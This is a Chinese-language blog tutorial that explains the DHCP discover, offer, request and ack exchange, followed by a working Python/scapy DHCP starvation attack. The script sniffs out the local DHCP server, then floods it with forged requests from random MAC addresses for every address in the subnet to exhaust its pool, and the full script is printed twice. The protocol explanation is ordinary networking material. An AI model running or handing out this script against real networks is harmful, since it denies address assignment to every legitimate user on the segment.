当一个组织分配到一个网络地址块后们就可以为该组织内的主机继而路由器接口分配IP地址了。这个工作可以由网络管理员手动分配,也可以通过动态主机配置协议,也就是我们这里所讲的DHCP协议来动态的为主机分配地址。事实上很多的实际网络都是通过DHCP来实现地址分配的。
DHCP在应用层实现,传输层使用的时UDP,提供动态IP地址分配网络的,需要运行DHCP服务器(端口号67)并且需要配置可以为其他主机分配地址的地址范围。
当一台网络主机接入或者新启动时,新到达主机的主要目的就是进行DHCP客户,并发送DHCP发现报文(DHCP discover),以便发现DHCP服务器。主机使用UDP67端口发送DHCP 发现报文,UDP报文段进一步封装到IP数据报中。显然,此时主机并不知道DHCP的服务器的IP地址。自己也没有分配到IP地址。所有主机会在IP数据包的目的IP地址字段中填入“255.255.255.255”,表明这是一次广播。在源地址字段中填入:“0.0.0.0”.将IP数据包封装完毕后,交付给下一层数据链路层,数据链路层会负责将数据帧广播到与该主机相连的子网内的所有主机与路由器的接口。
当某台服务器或路由器在端口67上提供DHCP服务,并且接受到一个DHCP发现报文后,会发送一个DHCP提供包(DHCP Offer),来响应主机。由于新接入到网络的主机此时仍不具有可用的IP地址,因此DHCP提供报文仍然会通过广播的方式发送出去。DHCP提供报文中包含了DHCP服务器为新加入网络的主机分配的IP地址。用于标识一次DHCP过程的标识符、子网掩码、默认网关和本地域名服务器IP地址以及IP地址的租期等信息。
当新加入网络的主机收到了一个或是多个DHCP服务器的DHCP提供报文后,选择其中一个发送发送DHCP请求报文。需要注意的是,此时仍时利用广播的方式来发送DHCP Request 报文。因为网络中可能存在多个DHCP服务器。当多个DHCP服务器都对网络中的主机做出响应时,这台主机需要从中选一个,而对于未被选中的DHCP服务器,该主机也需要将它们为其分配的IP地址未被使用的消息广播出去。
当被选定的DHCP服务器以DHCP确认(DHCP ACK)来对DHCP请求报文进行响应。当客户主机收到DHCP ack 报文后正式使用该服务器为其分配的IP地址。这个时候客户机才真正的拿到了可用的IP地址,同时DHCP服务器也真正的分配出了一个IP地址。
不过值得注意的是,他在这里不仅仅只是分配出一个IP地址。其中还有当前网络的子网掩码、默认网关、本地域名服务器等重要信息。
scapy模块可以模拟各种数据包的发送。
一般来说KALI-LINUX是自带的。如果是linux系统中, 且没有scapy
则运行以下命令安装:
sudo pip install scapy
想要深入学习的小伙伴也可以来我的资源下载scapy的学习资料。
https://download.csdn.net/download/qq_27180763/10768001
这个是全英文版的。手头暂时没有中文版的资料==一般都靠百度了。
在python中,我们可以直接使用以下命令包含scapy库
from scapy.all import *
from scapy.all import *
from time import ctime,sleep
from threading import Thread,Lock
import IPy
这里有一点要注意的是,千万不能同时写from scapy.all import *和from IPy import IP。由于scapy中有一个IP(),而IPy中也有一个IP(),导致函数命名重复,会产生一个重定义的错误。
其中第一个模块的作用主要是发送数据包。第二个模块是为多线程准备的,多线程的主要任务就是当一个线程发送DHCP数据包后,另一个线程能够监听DHCP服务器返回的Offer信息,以此来确定DHCP服务器的IP地址,以便于第二次能够发送DHCP REQUEST报文。
flag = 0
dhcp_address = '0.0.0.0'
current_subnet = '0.0.0.0'
由于开了两个线程,一个处于不断发送DHCP发现报文,另一个不断处于监听状态。而我这里主要的目的是为了确定DHCP服务器的IP地址。所以当我收到DHCP给我回复的DHCP报文(UDP)时,就可以结束发送DISCOVER包了,同时就可以停止监听,这里flag主要还是起到一个标志位的作用。
后面两个变量分别就是dhcp服务器的地址和当前子网掩码。
def getdhcpip():
global flag
print "[+] Geting The DHCP server IP Address!"
while flag == 0:
tap_interface = 'eth0'
src_mac_address = RandMAC()
ethernet = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = src_mac_address,type=0x800)
ip = IP(src ='0.0.0.0',dst='255.255.255.255')
udp =UDP (sport=68,dport=67)
fam,hw = get_if_raw_hwaddr(tap_interface)
bootp = BOOTP(chaddr = hw, ciaddr = '0.0.0.0',xid = 0x01020304,flags= 1)
dhcp = DHCP(options=[("message-type","discover"),"end"])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet,count=1,verbose=0)
sleep(0.1)
在Python中,函数内部使用全局变量需要使用global标识符来声明调用全局函数。否则程序会报错:“NOT DEFINE”
而我这里构造的数据包完全就是根据DHCP discover包来构造的。
def matchpacket():
global flag
global dhcp_address
global current_subnet
while flag == 0:
try:
a = sniff(filter='udp and dst 255.255.255.255',iface='eth0',count=2)
current_subnet = a[1][1][3].options[1][1]
dhcp_address = a[1][1][0].src
if dhcp_address is not '0.0.0.0' and current_subnet is not '0.0.0.0':
flag = 1
print "[+] The DHCP SERVER IP ADDRESS IS "+dhcp_address + "\r\n"
print "[+] CURRENT NETMASK IS " + current_subnet+"\r\n"
except:
pass
time.sleep(0.1)
这里需要注意的是:DHCP在应用层实现,传输层使用的时UDP.所以我这里直接使用sniff函数来抓取UDP报文。
为了多线程做准备,我在下面还定义了一个全局的函数列表
func = [getdhcpip,matchpacket]
主函数使用Thread来调用
调用代码:
threads= []
for i in range(0,len(func)):
t1 = Thread(target=func[i])
threads.append(t1)
for t in threads:
t.setDaemon(True)
t.start()
for t in threads:
t.join()
def dhcp_attack():
global dhcp_address
address_info = IPy.IP(dhcp_address).make_net(current_subnet).strNormal()
address = address_info.split('/')[0]
address = address.replace('.0','')
netmask = address_info.split('/')[1]
max_sub_number = 2**(32-int(netmask))-2
bin_ip = address_info.split('/')[0].split('.')
ip_info=''
for i in range(0,4):
string = str(bin(int(bin_ip[i]))).replace('0b','')
if(len(string)!=8):
for i in range(0,8-len(string)):
string = "0"+string
ip_info = ip_info + str(string)
for i in range(1,max_sub_number+1):
ip = str(bin(int(ip_info,2) + i))[2:]
need_address = str(int(ip[0:8],2))+'.'+str(int(ip[8:16],2))+'.'+str(int(ip[16:24],2))+'.'+str(int(ip[24:32],2))
rand_mac_address = RandMAC()
dhcp_attack_packet = Ether(src=rand_mac_address,dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=rand_mac_address)/DHCP(options=[("message-type",'request'),("server_id",dhcp_address),("requested_addr",need_address),"end"])
sendp(dhcp_attack_packet,verbose=0)
print "[+] USE IP: "+need_address +" Attacking "+dhcp_address +" Now!"
这是最为复杂的一段。让我有一种写C语言的感觉==
其中IPy.IP(dhcp_address).make_net(current_subnet).strNormal() 的作用就是返回一个“IP地址/子网”的东西。而2**(32-子网)的目的就是计算当前的最大主机数。通过二进制求和的方式遍历所有子网中的主机。其中PYTHON并没有二进制的加法运算,所以只能通过十进制相加转二进制然后再转换成点分十进制的形式。保证了IP地址为32位。
#!/usr/bin/env python
from scapy.all import *
from time import ctime,sleep
from threading import Thread,Lock
import IPy
flag = 0
dhcp_address = '0.0.0.0'
current_subnet = '0.0.0.0'
def getdhcpip():
global flag
print "[+] Geting The DHCP server IP Address!"
while flag == 0:
tap_interface = 'eth0'
src_mac_address = RandMAC()
ethernet = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = src_mac_address,type=0x800)
ip = IP(src ='0.0.0.0',dst='255.255.255.255')
udp =UDP (sport=68,dport=67)
fam,hw = get_if_raw_hwaddr(tap_interface)
bootp = BOOTP(chaddr = hw, ciaddr = '0.0.0.0',xid = 0x01020304,flags= 1)
dhcp = DHCP(options=[("message-type","discover"),"end"])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet,count=1,verbose=0)
sleep(0.1)
def matchpacket():
global flag
global dhcp_address
global current_subnet
while flag == 0:
try:
a = sniff(filter='udp and dst 255.255.255.255',iface='eth0',count=2)
current_subnet = a[1][1][3].options[1][1]
dhcp_address = a[1][1][0].src
if dhcp_address is not '0.0.0.0' and current_subnet is not '0.0.0.0':
flag = 1
print "[+] The DHCP SERVER IP ADDRESS IS "+dhcp_address + "\r\n"
print "[+] CURRENT NETMASK IS " + current_subnet+"\r\n"
except:
pass
time.sleep(0.1)
func = [getdhcpip,matchpacket]
def dhcp_attack():
global dhcp_address
address_info = IPy.IP(dhcp_address).make_net(current_subnet).strNormal()
address = address_info.split('/')[0]
address = address.replace('.0','')
netmask = address_info.split('/')[1]
max_sub_number = 2**(32-int(netmask))-2
bin_ip = address_info.split('/')[0].split('.')
ip_info=''
for i in range(0,4):
string = str(bin(int(bin_ip[i]))).replace('0b','')
if(len(string)!=8):
for i in range(0,8-len(string)):
string = "0"+string
ip_info = ip_info + str(string)
for i in range(1,max_sub_number+1):
ip = str(bin(int(ip_info,2) + i))[2:]
need_address = str(int(ip[0:8],2))+'.'+str(int(ip[8:16],2))+'.'+str(int(ip[16:24],2))+'.'+str(int(ip[24:32],2))
rand_mac_address = RandMAC()
dhcp_attack_packet = Ether(src=rand_mac_address,dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=rand_mac_address)/DHCP(options=[("message-type",'request'),("server_id",dhcp_address),("requested_addr",need_address),"end"])
sendp(dhcp_attack_packet,verbose=0)
print "[+] USE IP: "+need_address +" Attacking "+dhcp_address +" Now!"
def main():
threads= []
for i in range(0,len(func)):
t1 = Thread(target=func[i])
threads.append(t1)
for t in threads:
t.setDaemon(True)
t.start()
for t in threads:
t.join()
dhcp_attack()
if __name__ == '__main__':
main()
print "[+] Attack Over!"